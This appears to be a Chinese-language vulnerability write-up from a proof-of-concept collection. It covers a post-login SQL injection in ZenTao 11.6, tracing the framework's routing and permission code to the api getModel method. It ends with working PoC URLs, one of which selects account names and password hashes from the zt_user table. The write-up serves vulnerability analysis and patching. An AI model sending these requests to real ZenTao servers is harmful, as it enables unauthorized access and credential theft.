mirror of
https://github.com/Threekiii/Awesome-POC.git
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359 lines
12 KiB
Markdown
359 lines
12 KiB
Markdown
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# 禅道 11.6 api-getModel-api-sql-sql 后台SQL注入漏洞
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## 漏洞描述
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禅道 11.6 版本中对用户接口调用权限过滤不完善，导致调用接口执行SQL语句导致SQL注入
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## 漏洞影响
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```
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禅道 11.6
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```
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## 环境搭建
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这里使用docker环境搭建
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```plain
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docker run --name zentao_v11.6 -p 8084:80 -v /u01/zentao/www:/app/zentaopms -v /u01/zentao/data:/var/lib/mysql -e MYSQL_ROOT_PASSWORD=123456 -d docker.io/yunwisdom/zentao:v11.6
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```
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访问 [**http://xxx.xxx.xxx.xxx:8084**](http://xxx.xxx.xxx.xxx:8084) 按步骤安装即可
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## 漏洞复现
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先对禅道的调用流程进行分析,先查看目录为**www/index.php**首页文件中
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这里使用**router::createApp**创建了一个APP对象
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```php
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$app = router::createApp('pms', dirname(dirname(__FILE__)), 'router');
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```
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来到**framework/base/router.class.php**文件查看到**createApp**方法
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```php
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public static function createApp($appName = 'demo', $appRoot = '', $className = '')
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{
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if(empty($className)) $className = __CLASS__;
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return new $className($appName, $appRoot);
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}
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```
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这里New了一个对象，查看一下调用方法(348行)
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在358行处调用了**setConfigRoot**方法
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```php
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$this->setConfigRoot();
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public function setConfigRoot()
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{
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$this->configRoot = $this->basePath . 'config' . DS;
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}
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```
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在363行处调用了**loadMainConfig**方法
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```php
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$this->loadMainConfig();
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public function loadMainConfig()
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{
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/* 初始化$config对象。Init the $config object. */
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global $config, $filter;
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if(!is_object($config)) $config = new config();
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$this->config = $config;
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/* 加载主配置文件。 Load the main config file. */
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$mainConfigFile = $this->configRoot . 'config.php';
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if(!file_exists($mainConfigFile)) $this->triggerError("The main config file $mainConfigFile not found", __FILE__, __LINE__, $exit = true);
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include $mainConfigFile;
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}
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```
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这里包含了配置文件**config.php**配置文件，文件目录为**/config/config.php**
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在25行定义了调用方法
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```php
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$config->requestType = 'PATH_INFO'; // 请求类型：PATH_INFO|PATHINFO2|GET。 The request type: PATH_INFO|PATH_INFO2|GET.
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$config->requestFix = '-'; // PATH_INFO和PATH_INFO2模式的分隔符。 The divider in the url when PATH_INFO|PATH_INFO2.
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$config->moduleVar = 'm'; // 请求类型为GET：模块变量名。 requestType=GET: the module var name.
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$config->methodVar = 'f'; // 请求类型为GET：模块变量名。 requestType=GET: the method var name.
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$config->viewVar = 't'; // 请求类型为GET：视图变量名。 requestType=GET: the view var name.
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$config->sessionVar = 'zentaosid'; // 请求类型为GET：session变量名。 requestType=GET: the session var name.
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$config->views = ',html,json,mhtml,xhtml,'; // 支持的视图类型。 Supported view formats.
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```
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可以发现这里存在两种路由**PATH_INFO|PATH_INFO2**：一种是m、f、t来进行调用。另外一种是通过-来进行调用
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在**index.php**中的**66行**
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```php
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$app->parseRequest();
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public function parseRequest()
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{
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if($this->config->requestType == 'PATH_INFO' or $this->config->requestType == 'PATH_INFO2')
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{
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$this->parsePathInfo();
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$this->setRouteByPathInfo();
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}
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elseif($this->config->requestType == 'GET')
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{
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$this->parseGET();
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$this->setRouteByGET();
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}
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else
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{
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$this->triggerError("The request type {$this->config->requestType} not supported", __FILE__, __LINE__, $exit = true);
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}
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}
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```
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看到这一条则是判断力两种调用方法
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```php
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$this->config->requestType == 'PATH_INFO' or $this->config->requestType == 'PATH_INFO2'
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```
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跟进**setRouteByPathInfo方法**
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```php
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public function setRouteByPathInfo()
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{
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if(!empty($this->URI))
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{
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/*
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* 根据$requestFix分割符，分割网址。
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* There's the request seperator, split the URI by it.
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**/
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if(strpos($this->URI, $this->config->requestFix) !== false)
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{
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$items = explode($this->config->requestFix, $this->URI);
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$this->setModuleName($items[0]);
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$this->setMethodName($items[1]);
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}
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/*
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* 如果网址中没有分隔符，使用默认的方法。
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* No reqeust seperator, use the default method name.
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**/
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else
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{
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$this->setModuleName($this->URI);
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$this->setMethodName($this->config->default->method);
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}
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}
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else
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{
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$this->setModuleName($this->config->default->module); // 使用默认模块 use the default module.
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$this->setMethodName($this->config->default->method); // 使用默认方法 use the default method.
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}
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$this->setControlFile();
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}
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```
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所以可以推断出调用的方法
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例如**登录页面**有两种访问方法
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```plain
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http://xxx.xxx.xxx.xxx/index.php?m=user&f=login
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http://xxx.xxx.xxx.xxx/user-login.html
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```
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再看一下**checkPriv方法**
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```php
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public function checkPriv()
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{
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$module = $this->app->getModuleName();
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$method = $this->app->getMethodName();
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if(!empty($this->app->user->modifyPassword) and (($module != 'my' or $method != 'changepassword') and ($module != 'user' or $method != 'logout'))) die(js::locate(helper::createLink('my', 'changepassword')));
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if($this->isOpenMethod($module, $method)) return true;
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if(!$this->loadModel('user')->isLogon() and $this->server->php_auth_user) $this->user->identifyByPhpAuth();
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if(!$this->loadModel('user')->isLogon() and $this->cookie->za) $this->user->identifyByCookie();
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if(isset($this->app->user))
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{
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if(!commonModel::hasPriv($module, $method)) $this->deny($module, $method);
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}
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else
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{
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$referer = helper::safe64Encode($this->app->getURI(true));
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die(js::locate(helper::createLink('user', 'login', "referer=$referer")));
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}
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}
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```
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这里检测了调用模块和方法的权限，可以知道除了**isOpenMethod**中定义的公开模块和方法之外，其他的方法都是需要登录的
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最后是**$app->loadModule();**这段代码
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```php
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public function loadModule()
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{
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$appName = $this->appName;
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$moduleName = $this->moduleName;
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$methodName = $this->methodName;
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/*
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* 引入该模块的control文件。
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* Include the control file of the module.
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**/
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$file2Included = $this->setActionExtFile() ? $this->extActionFile : $this->controlFile;
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chdir(dirname($file2Included));
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helper::import($file2Included);
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/*
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* 设置control的类名。
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* Set the class name of the control.
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**/
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$className = class_exists("my$moduleName") ? "my$moduleName" : $moduleName;
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if(!class_exists($className)) $this->triggerError("the control $className not found", __FILE__, __LINE__, $exit = true);
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/*
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* 创建control类的实例。
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* Create a instance of the control.
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**/
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$module = new $className();
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if(!method_exists($module, $methodName)) $this->triggerError("the module $moduleName has no $methodName method", __FILE__, __LINE__, $exit = true);
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$this->control = $module;
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/* include default value for module*/
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$defaultValueFiles = glob($this->getTmpRoot() . "defaultvalue/*.php");
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if($defaultValueFiles) foreach($defaultValueFiles as $file) include $file;
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/*
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* 使用反射机制获取函数参数的默认值。
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* Get the default settings of the method to be called using the reflecting.
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*
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* */
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$defaultParams = array();
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$methodReflect = new reflectionMethod($className, $methodName);
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foreach($methodReflect->getParameters() as $param)
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{
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$name = $param->getName();
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$default = '_NOT_SET';
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if(isset($paramDefaultValue[$appName][$className][$methodName][$name]))
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{
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$default = $paramDefaultValue[$appName][$className][$methodName][$name];
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}
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elseif(isset($paramDefaultValue[$className][$methodName][$name]))
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{
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$default = $paramDefaultValue[$className][$methodName][$name];
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}
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elseif($param->isDefaultValueAvailable())
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{
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$default = $param->getDefaultValue();
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}
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$defaultParams[$name] = $default;
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}
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/**
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* 根据PATH_INFO或者GET方式设置请求的参数。
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* Set params according PATH_INFO or GET.
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*/
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if($this->config->requestType != 'GET')
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{
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$this->setParamsByPathInfo($defaultParams);
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}
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else
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{
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$this->setParamsByGET($defaultParams);
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}
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if($this->config->framework->filterParam == 2)
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{
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$_GET = validater::filterParam($_GET, 'get');
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$_COOKIE = validater::filterParam($_COOKIE, 'cookie');
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}
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/* 调用该方法 Call the method. */
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call_user_func_array(array($module, $methodName), $this->params);
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return $module;
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}
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```
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通过之前获取的**moduleName**包含对应的**control类**文件并实例化，随后调用**setParamsByPathInfo**方法从路径中获取方法对应的参数值，最后通过**call_user_func_array**方法调用对应**control类**中的对应方法并赋值。
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我们查看**module/api/control.php**文件中的**getModel**方法
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这里通过**call_user_func_array**函数调用所有的**model文件**的所有方法。
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```php
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$result = call_user_func_array(array(&$module, $methodName), $params);
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```
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可以看到**module/api/moudel.php**中的**sql函数**
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```php
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public function sql($sql, $keyField = '')
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{
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$sql = trim($sql);
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if(strpos($sql, ';') !== false) $sql = substr($sql, 0, strpos($sql, ';'));
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a($sql);
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if(empty($sql)) return '';
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if(stripos($sql, 'select ') !== 0)
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{
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return $this->lang->api->error->onlySelect;
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}
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else
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{
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try
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{
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$stmt = $this->dao->query($sql);
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if(empty($keyField)) return $stmt->fetchAll();
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$rows = array();
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while($row = $stmt->fetch()) $rows[$row->$keyField] = $row;
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return $rows;
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}
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catch(PDOException $e)
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{
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return $e->getMessage();
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}
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}
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}
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```
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这里并没有进行过滤，只使用了代码**$sql=trim($sql)**过滤了空格
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我们看一下这里的调用这个方法需要的权限
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这里可以看到任何用户都可以调用这个模块的方法，所以我们用它调用**sql**方法进行查询(空格转换为+,绕过过滤)
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```plain
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http://xxx.xxx.xxx.xxx/api-getModel-api-sql-sql=select+account,password+from+zt_user
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```
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|
成功执行sql语句
|
|||
|
|
|
|||
|
|
## 漏洞POC
|
|||
|
|
|
|||
|
|
登陆后访问
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
http://xxx.xxx.xxx.xxx/api-getModel-user-getRealNameAndEmails-users=admin
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
```plain
|
|||
|
|
http://xxx.xxx.xxx.xxx/api-getModel-api-sql-sql=select+account,password+from+zt_user
|
|||
|
|
```
|